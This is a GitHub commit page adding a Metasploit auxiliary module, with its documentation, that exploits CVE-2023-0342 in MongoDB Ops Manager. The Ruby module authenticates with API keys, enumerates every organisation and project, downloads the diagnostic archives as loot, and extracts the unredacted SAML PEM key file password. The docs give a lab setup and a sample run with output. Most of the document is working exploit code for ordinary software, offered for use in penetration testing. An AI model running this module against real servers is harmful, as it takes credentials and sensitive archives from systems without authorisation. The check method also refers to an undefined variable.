Skip to content

Commit

Permalink
Land #18936, mongodb ops manager diagnostic archive info disclosure (c…
Browse files Browse the repository at this point in the history
  • Loading branch information
cdelafuente-r7 committed Apr 12, 2024
2 parents 2a176e5 + b83a91a commit d36e22f
Show file tree
Hide file tree
Showing 2 changed files with 292 additions and 0 deletions.
@@ -0,0 +1,82 @@
## Vulnerable Application

MongoDB Ops Manager Diagnostics Archive does not redact SAML SSL Pem Key File Password
field (`mms.saml.ssl.PEMKeyFilePassword`) within app settings. Archives do not include
the PEM files themselves. This module extracts that unredacted password and stores
the diagnostic archive for additional manual review.

This issue affects MongoDB Ops Manager v5.0 prior to 5.0.21 and
MongoDB Ops Manager v6.0 prior to 6.0.12.

API credentials with the role of `GLOBAL_MONITORING_ADMIN` or `GLOBAL_OWNER` are required.

Successfully tested against MongoDB Ops Manager v6.0.11.

### Install on Ubuntu 22.04

1. Download mongodb server deb from https://www.mongodb.com/download-center/community/releases/archive .
Look for: `Server Package: mongodb-org-server_6.0.11_amd64.deb`
2. Download the 1.4gig ops manager (mms) deb from https://www.mongodb.com/subscription/downloads/archived
3. `sudo apt-get install snmp`
4. `sudo dpkg -i mongodb-org-server_6.0.11_amd64.deb`
5. `sudo dpkg -i mongodb-mms-*`
6. `sudo nano /opt/mongodb/mms/conf/conf-mms.properties` and add a new field at the bottom of the file: `mms.saml.ssl.PEMKeyFilePassword=FINDME`
7. `sudo systemctl start mongod.service`
8. `sudo systemctl start mongodb-mms.service` (wait a little while for it to initialize and run)
9. Browse to http://<ip>>:8080/account/register and perform the install, the SMTP fields can use values for a server which doesn't exist.
10. Top left corner of the page after install should be "Project 0", click the drop down and create new project. Any name is fine, I called it 'test'
11. Top right of the screen, click Admin, API Keys, Create API Key. Create a new key, for permissions select
`Global Monitoring Admin` or `Global Owner` (or both).

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info`
1. Do: `set API_PUBKEY [API_PUBKEY]`
1. Do: `set API_PRIVKEY [API_PRIVKEY]`
1. Do: `run`
1. You should find similar output to the following: `Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME`

## Options

### API_PUBKEY

Public Key for the API key that was created with `Global Monitoring Admin` or `Global Owner` permissions.

### API_PRIVKEY

Private Key for the API key that was created with `Global Monitoring Admin` or `Global Owner` permissions.

## Scenarios

### Mongodb OPS Manager 6.0.11 on Ubuntu 22.04

```
msf6 > use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PUBKEY zmdhriti
API_PUBKEY => zmdhriti
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PRIVKEY fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc
API_PRIVKEY => fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set verbose true
verbose => true
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > run
[*] Running module against 127.0.0.1
[*] Checking for orgs
[*] Looking for projects in org 65e86256961a9b1cc98c6c8b
[+] Found project: Project 0 (65e86256961a9b1cc98c6c8f)
[+] Stored Project Diagnostics files to /root/.msf4/loot/20240307151114_default_127.0.0.1_mongodb.ops_mana_015137.gz
[*] Opening project_diagnostics.tar.gz
[+] Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME
[+] Found ubuntu22-0-mms's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME
[+] Found project: test (65e86331961a9b1cc98c6db7)
[+] Stored Project Diagnostics files to /root/.msf4/loot/20240307151114_default_127.0.0.1_mongodb.ops_mana_205173.gz
[*] Opening project_diagnostics.tar.gz
[+] Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME
[+] Found ubuntu22-0-mms's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME
[*] Auxiliary module execution completed
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) >
```
@@ -0,0 +1,210 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest/md5'
require 'zlib'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MongoDB Ops Manager Diagnostic Archive Sensitive Information Retriever',
'Description' => %q{
MongoDB Ops Manager Diagnostics Archive does not redact SAML SSL Pem Key File Password
field (mms.saml.ssl.PEMKeyFilePassword) within app settings. Archives do not include
the PEM files themselves. This module extracts that unredacted password and stores
the diagnostic archive for additional manual review.
This issue affects MongoDB Ops Manager v5.0 prior to 5.0.21 and
MongoDB Ops Manager v6.0 prior to 6.0.12.
API credentials with the role of GLOBAL_MONITORING_ADMIN or GLOBAL_OWNER are required.
Successfully tested against MongoDB Ops Manager v6.0.11.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
],
'References' => [
[ 'URL', 'https://github.com/advisories/GHSA-xqvf-v5jg-pxc2'],
[ 'URL', 'https://www.mongodb.com/docs/ops-manager/current/reference/configuration/#mongodb-setting-mms.https.PEMKeyFilePassword'],
[ 'CVE', '2023-0342']
],
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2023-06-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('API_PUBKEY', [ true, 'Public Key to login with for API requests', '']),
OptString.new('API_PRIVKEY', [ true, 'Password to login with for API requests', '']),
OptString.new('TARGETURI', [ true, 'The URI of MongoDB Ops Manager', '/'])
]
)
end

def check
url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0')
auth_response = digest_auth(url)
# https://www.mongodb.com/docs/ops-manager/current/tutorial/update-om-with-latest-version-manifest-with-api/
res = send_request_cgi(
'uri' => url,
'headers' => {
'accept' => 'application/json',
'authorization' => auth_response
}
)

return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

roles = res.get_json_document.dig('apiKey', 'roles')
return Exploit::CheckCode::Unknown("#{peer} - Unable to retrieve roles") if roles.nil?

roles = roles.map { |hash| hash['roleName'] }
return Exploit::CheckCode::Safe("API key requires GLOBAL_MONITORING_ADMIN or GLOBAL_OWNER permissions. Current permissions: #{permission.join(', ')}") unless roles.include?('GLOBAL_MONITORING_ADMIN') || roles.include?('GLOBAL_OWNER')

Exploit::CheckCode::Detected('API key has correct roles but version detection not possible')
end

def username
datastore['API_PUBKEY']
end

def password
datastore['API_PRIVKEY']
end

def digest_auth(url)
# get a 401 so we get the WWW-Authenticate header
res = send_request_cgi(
'uri' => url,
'headers' => {
'accept' => 'application/json'
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Basic auth not enabled, but is expected") unless res.code == 401

# Define the regular expression pattern to capture key-value pairs
pattern = /(\w+)="(.*?)"/

parsed_hash = {}
res.headers['WWW-Authenticate'].scan(pattern) do |key, value|
parsed_hash[key] = value
end

parsed_hash['nc'] = '00000001'
parsed_hash['cnonce'] = '0a4f113b' # XXX randomize?

# Calculate the response
ha1 = Digest::MD5.hexdigest("#{username}:#{parsed_hash['realm']}:#{password}")
ha2 = Digest::MD5.hexdigest("GET:#{url}")
parsed_hash['response'] = Digest::MD5.hexdigest("#{ha1}:#{parsed_hash['nonce']}:#{parsed_hash['nc']}:#{parsed_hash['cnonce']}:#{parsed_hash['qop']}:#{ha2}")

%(Digest username="#{username}", realm="#{parsed_hash['realm']}", nonce="#{parsed_hash['nonce']}", uri="#{url}", cnonce="#{parsed_hash['cnonce']}", nc=#{parsed_hash['nc']}, qop=auth, response="#{parsed_hash['response']}", algorithm=MD5)
end

def get_orgs
url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'orgs')
auth_response = digest_auth(url)
# https://www.mongodb.com/docs/ops-manager/v6.0/reference/api/organizations/organization-get-all/
res = send_request_cgi(
'uri' => url,
'headers' => {
'accept' => 'application/json',
'authorization' => auth_response
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials or not enough permissions (response code: #{res.code})") if res.code == 401
res.get_json_document
end

def get_projects(org)
url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'orgs', org, 'groups')
auth_response = digest_auth(url)
# https://www.mongodb.com/docs/ops-manager/current/reference/api/organizations/organization-get-all-projects/
res = send_request_cgi(
'uri' => url,
'ctype' => 'application/json',
'headers' => {
'accept' => 'application/json',
'authorization' => auth_response
}
)
return [] if res.nil? || res.code == 401

res.get_json_document['results']
end

def get_diagnostic_archive(project)
url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'groups', project, 'diagnostics')
auth_response = digest_auth(url)
# https://www.mongodb.com/docs/ops-manager/current/reference/api/diagnostics/get-project-diagnostic-archive/
res = send_request_cgi(
'uri' => url,
'ctype' => 'application/json',
'headers' => {
'accept' => 'application/gzip',
'authorization' => auth_response
},
'vars_get' => { 'pretty' => 'true' }
)
return unless res&.code == 200

loot_location = store_loot('mongodb.ops_manager.project_diagnostics', 'application/gzip', rhost, res.body, "project_diagnostics.#{project}.tar.gz", "Project diagnostics for MongoDB Project #{project}")
print_good("Stored Project Diagnostics files to #{loot_location}")
vprint_status(' Opening project_diagnostics.tar.gz')
gz_reader = Zlib::GzipReader.new(StringIO.new(res.body))
tar_reader = Rex::Tar::Reader.new(gz_reader)
tar_reader.each do |entry|
next unless entry.full_name == 'global/appSettings.json'

json_data = JSON.parse(entry.read)
next unless json_data.key? 'instanceOverrides'

json_data['instanceOverrides'].each do |key, value|
next unless value.key? 'mms.saml.ssl.PEMKeyFilePassword'

if value['mms.saml.ssl.PEMKeyFilePassword'] == '<redacted>'
fail_with(Failure::NotVulnerable, 'Value is <redacted>, server is patched.')
else
print_good("Found #{key}'s unredacted mms.saml.ssl.PEMKeyFilePassword: #{value['mms.saml.ssl.PEMKeyFilePassword']}")
end
end
end
tar_reader.close
gz_reader.close
end

def run
vprint_status('Checking for orgs')
orgs = get_orgs
orgs['results'].each do |org|
org = org['id']
vprint_status("Looking for projects in org #{org}")
projects = get_projects(org)
projects.each do |project|
vprint_good(" Found project: #{project['name']} (#{project['id']})")
get_diagnostic_archive(project['id'])
end
end
end
end

0 comments on commit d36e22f

Please sign in to comment.